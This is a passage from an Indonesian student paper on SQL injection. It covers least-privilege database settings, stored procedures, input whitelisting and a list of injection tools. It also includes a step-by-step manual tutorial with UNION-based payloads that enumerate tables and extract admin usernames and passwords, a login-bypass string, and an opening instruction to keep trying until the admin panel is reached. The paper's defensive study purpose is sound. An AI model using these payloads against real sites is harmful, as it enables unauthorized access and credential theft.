8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Perbaikan basis data


Mengatur hak-hak keamanan pada basis data ke kebutuhan yang paling minim adalah sebuah
perbaikan yang sederhana. Tidak banyak aplikasi yang memerlukan pengguna untuk memiliki hak
menghapus sebuah tabel atau basis data.

11
Kebanyakan basis data juga menawaran kemampuan untuk menyiapkan pernyataan-
pernyataan SQL pada lapisan basis data melalui stored procedure. Daripada menggunakan sebuah
lapisan aplikasi untuk merangkai SQL secara dinamis, stored procedure membungkus prosedur-
prosedur basis data pakai-ulang yang dipanggil dengan parameter-parameter bertipe. Ini menyediakan
beberapa keuntungan keamanan dengan membuat masukan-masukan menjadi parameter dan
mewajibkan tipe pada mereka, masukan pengguna secara efektif tersaring. Sebagai tambahan,
kebanyakan basis data mengijinkan stored procedure untuk berjalan di bawah hak-hak keamanan yang
berbeda daripada pengguna basis data. Misalnya, sebuah aplikasi akan memiliki akses untuk
menjalankan sebuah stored procedure, tetapi tidak memiliki akses ke tabel-tabel dasarnya. Ini
membatasi kemampuan aplikasi untuk melakukan sesuatu yang di luar aksi-aksi yang dituliskan di
dalam stored procedure.
Yang juga penting untuk dicatat adalah metode kueri standar dari pustaka
client C MySQL tidak akan mengijinkan lebih daripada sebuah kueri dalam sebuah masukan,
mencegah serangan banyak-pernyataan yang dipaparkan di atas. Namun begitu, masukan pengguna
baik-baik yang mengandung karakter-karakter pelolos (misalnya tanda kutip tunggal) tetap dapat
menyebabkan aplikasi tidak berjalan karena sintaks SQL yang buruk. Bahkan beberapa serangan juga
mungkin terjadi, sebagai contoh misalkan sebuah situs web yang memperlihatkan sebuah daftar
barang untuk sebuah nama pengguna yang dikenal. Kueri yang dijalankan adalah:
SELECT * from barang where namapengguna='$namapengguna';
Seorang penyerang dapat memakai nama pengguna yang dirangkai secara khusus untuk mengetahui
semua barang milik semua pengguna:
$namapengguna = "' or namapengguna is not null or namapengguna='";
menghasilkan pernyataan SQL sebagai berikut:
SELECT * from barang where namapengguna='' or namapengguna is not null or namapengguna='';
Ingatlah, walaupun begitu, bahwa meloloskan atau menghapus tanda kutip tidak melenyapkan risiko
injeksi SQL sepenuhnya. Misalkan kueri Anda tampak seperti ini:
SELECT * from barang where idpengguna=$idpengguna;
Dengan anggapan bahwa $idpengguna merupakan nilai numerik tetapi dibiarkan lolos tanpa
diperiksa, idpengguna yang dirangkai khusus ini akan, sekali lagi, memperlihatkan semua barang
milik semua pengguna:
$idpengguna = "33 or idpengguna is not null or userid=44";
Yang seperti dapat Anda lihat, tidak mengandung tanda kutip sama sekali dan akan menghasilkan
kueri ini:
SELECT * from barang where idpengguna=33 or idpengguna is not null or idpengguna=44;
     Pertahanan yang terbaik, daripada membuat daftar hitam masukan buruk yang diketahui, adalah
hanya mengijinkan masukan baik yang diketahui, atau, dengan kata lain, membuat daftar putih.
Misalnya, jika Anda ingin bertahan terhadap serangan ini, Anda dapat memeriksa variabel
idpengguna untuk memastikan bahwa isinya numerik seperti berikut:
if(!ctype_digit($idpengguna)){ die("Karakter-karakter yang tidak sah dalam idpengguna."); }

Tools
        SQL injection exploits dan sejenisnya adalah hasil interfacing sebuah bahasa lewat informasi
melalui bahasa lain . Dalam hal SQL injection, sebuah bahasa pemrograman seperti PHP atau Perl
mengakses database melalui SQL query. Jika data yang diterima dari pengguna akhir yang dikirim
langsung ke database dan tidak disaring dengan benar, maka yang penyerang dapat menyisipkan
perintah SQL nya sebagai bagian dari input. (de-kill.blogspot)

Untuk mempermudah dalam praktek SQL Injection ini, maka bisa menggunakan tools berikut:
1. BSQL Hacker
Dikembangkan oleh Portcullis Labs,BSQL Hacker adalah SQL injection yang di
rancang untuk mengeksplor hampir seluruh jenis data base
3. Pangolin
Diproduksi oleh perusahaan yang sama yang membuat JSky, NOSEC, Pangolin adalah tool
injeksi SQL secara menyeluruh pada web dengan user-friendly GUI dan support hampir
untuk selur data base.

12
4. SQLMap
SQLMap adalah tool open source yang di jalankan menggunakan command dan support
untuk data base MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM
DB2, SQLite, Firebird, Sybase and SAP MaxDB.

5. Havij
Tool ini sudah sangat terkenal di gunakan oleh para peretas di seluruh dunia, Havij di
kembangkan oleh programer iran dengan GUI yang sederhana meng injek SQL menggunakan
harvij kemungkinan berhasil adalah 95 persen dan masih banyak lagi kelebihan havij.

6. Enema SQLi
Berbeda dengan kebanyakan tool-tool injek yang di buat otomatis, enema bukanlah tool
otomatis, enam tool yang di namis yang memang di rancang untuk profesional.

7. SQL Ninja
Sql Ninja di kembangkan oleh icesurfer tool yang di rancang untuk targen server SQL, data
base fingerprint, dan semu kemampuan untuk mengendalikan database yang rentan injek.

8. SQL Sus
Sql Sus merupakan tool open source antar mukanya berbasis perintah, anda dapat mengambil
data base, mendownload file dari data base server dan masih banyak lagi.

9. Safe SQL Injector


Safe SQL Injector terkenal dengan kemudahan penggunaannya Safe3 SI menawarkan
serangkaian fitur yang memungkinkan deteksi otomatis dan eksploitasi kelemahan SQL
injection dan pengambilan database server.

10. SQL Poizon


SQL Poizon memanfaatkan mesin pencarian Dork untuk menjaring situs-situs yang rentan
untuk di injek. Sql Poizon memiliki browser yang telah terintegrasi di dalamnya.

Manual Tutorial SQL Injection


         Pengertian SQL Injection, SQL Injection adalah sebuah aksi hacking yang dilakukan diaplikasi
client dengan cara memodifikasi perintah SQL yang ada dimemori aplikasi client dan juga merupakan
teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan
data.
Yang perlu diketahui sebelum melakukan SQL Injection pada MySQL:
karakter: ‘ atau –
comments: /* atau —
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x

[ Langkah 1 ]
Carilah target
Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-”
untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100′ atau
[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]

[ Langkah 2 ]
Mencari dan menghitung jumlah table yang ada dalam databasenya…

13
gunakan perintah: order byContoh:[site]/berita.php?id=-100+order+by+1– atau
[site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah by Langkah (satupersatu)…
Misal:[site]/berita.php?id=-100+order+by+1–
[site]/berita.php?id=-100+order+by+2–
[site]/berita.php?id=-100+order+by+3–
[site]/berita.php?id=-100+order+by+4–Sehingga muncul error atau hilang pesan error…
Misal: [site]/berita.php?id=-100+order+by+9–
Berarti yang kita ambil adalah sampai angka 8
Menjadi [site]/berita.php?id=-100+order+by+8–

[ Langkah 3 ]
Untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9 maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok
seumpama yg keluar angka 5gunakan perintah version() atau @@version untuk mengecek versi sql
yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–Lihat versi yang digunakan
se’umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan
column yang ada pada web tersebut karena tidak bisa menggunakan perintah
From+Information_schema..Untuk versi 5 berarti anda beruntung tak perlu menebak table dan
column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..

[ Langkah 4 ]
Untuk menampilkan table yang ada pada web tersebut adalah
perintah table_name >>> dimasukan pada angka yangg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhirCode:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–
Se’umpama table yang muncul adalah “admin”

[ Langkah 5 ]
untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah
angka terakhir[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.
tables+where+table_schema=database()–

[ Langkah 6 ]
Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa– >>> dimasukan setelah
angka terakhir[site]/berita.php?id=
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+w
here+table_name=0xhexa–Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi
hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi :http://www.v3n0m.net/ascii.htmContoh kata yang ingin
dikonversi yaitu admin maka akan menjadi 61646D696E[site]/berita.php?id=
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema
.columns+where+table_name=0x61646D696E–

[ Langkah 7 ]
Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan caraperintah
concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhirContoh :[site]/berita.php?
id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–
Contoh kata yang keluar adalah id,username,passwordContoh :

14
[site]/berita.php?id=-
100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–
[ Langkah 8 ]
Tahap terakhir mencari halaman admin atau login.
          Source HN Forum
SQL Injection adalah salah satu teknik yang sering di gunakan untuk menyerang sebuah situs web.
dengan cara ini memungkinkan seseorang dapat login tanpa harus memiliki akun di sebuah web site
Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan
data–data yang berada didalam database bahkan pula dapat mematikannya.
Contoh Sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari
GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and
password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username

15
BAB III
PENUTUP
KESIMPULAN
SQL Injection merupakan teknik hacking paling populer pada aplikasi web dengan prinsip
melewatkan perintah-perintah SQL lewat aplikasi web untuk dieksekusi oleh database back-end.
Kelemahan akan muncul apabila inputan user tidak disaring/difilter dengan sempurna dan akhirnya
dieksekusi. Oleh karena itu diperlukan suatu pengamanan yang extra hati – hati pada SQL statement
pada database yang ada pada suatu website-website kita, agar perintah-perintah SQL injection tersebut
dapat disaring dengan baik. Demikian halnya dengan Setting server dengan benar memang akan
mengamankan e-commerce web dari serangan deface, akan tetapi bukan berarti semuanya sudah
aman sekarang. Situs e-commerce yang menggunakan Microsoft IIS juga menggunakan database
access dengan Micosoft SQL server,dimana  MS SQL server tersebut mempunyai kelemahan yang
memungkinkan seseorang tanpa account dapat masuk dan lolos verifikasi dari MS SQL server..Hal ini
yang jelas dapat merugikan sekali, sebab bisa saja data sensitif seperti nomor kartu kredit serta
lainnya bocor! Pada saat seseorang berusaha masuk ke situs e-commerce, biasanya akan disambut
dengan halaman login yang mengharuskan pemakai memasukkan login name dan password.
Semuanya tergantung dari kita bagaimana cara kita untuk selalu turus update dalam
penanganan masalah ini. Karena tentunya para-para cracker tersebut selalu mengembangkan bug-bug
mereka untuk dapat menemukan lubang-lubang pada jaringan kita. Oleh karena itu sebelum kita
menjadi defender yang kuat, alangkah baiknya kita mengetahui dan mempelajari terlebih dahulu
serangan-serangan para cracker tersebut, serta  kita bisa menjadi hacker pada sistem kita sendiri

16
                           DAFTAR PUSTAKA

https://abanxc.wordpress.com/2012/04/12/sql-injection-maenan-grey/
Pada websie ini saya mengambil pengertian Sql injection yang saya gunakan pada topic  sql injection
pada halaman 4
http://id.wikipedia.org/wiki/Injeksi_SQL
Pada websie ini saya mengambil pengertian default  sql – perbaikan basis data yang saya gunakan
pada topic sql injection dengan sub topic  Default Setting Sql pada halaman 4-8
https://hilwa.wordpress.com/2013/02/07/cara-mengatasi-sql-injection/
Pada websie ini saya mengambil cara menangulangi sql injection yang saya gunakan pada topic  sql
injection dengan sub topic menangulangi sql pada halaman 8
www.google.com/url?
sa=t&rct=j&q=&esrc=s&source=web&cd=2&cad=rja&uact=8&ved=0CCIQFjAB&url=http%3A
%2F%2Funsri.ac.id%2Fupload%2Farsip%2FSQL
%2520Injection.doc&ei=vhGFVLPGA5KiugSzsoLACA&usg=AFQjCNE4sny
IpF0fUtDI9KoIs6D8iwKXA&sig2=Zl2Ni8VheIQGhaefFu-ERw&bvm=bv.80642063,d.c2E
Pada websie ini saya mengambil  dari tugas akhir mengenai menangulangi sql tambahan saya
gunakan pada topic  sql injection dengan sub topic menagngulangi sql  pada halaman  9-20
http://www.binushacker.net/pengertian-tutorial-tools-sql-injection-cara-kumpulan-software-sql-
injection.html
Pada websie ini saya mengambil tools-tools sql dan langakah-langkah manual sql injection yang saya
gunakan pada topic  sql injection dengan sub topic tools pada halaman 21-23

17

Anda mungkin juga menyukai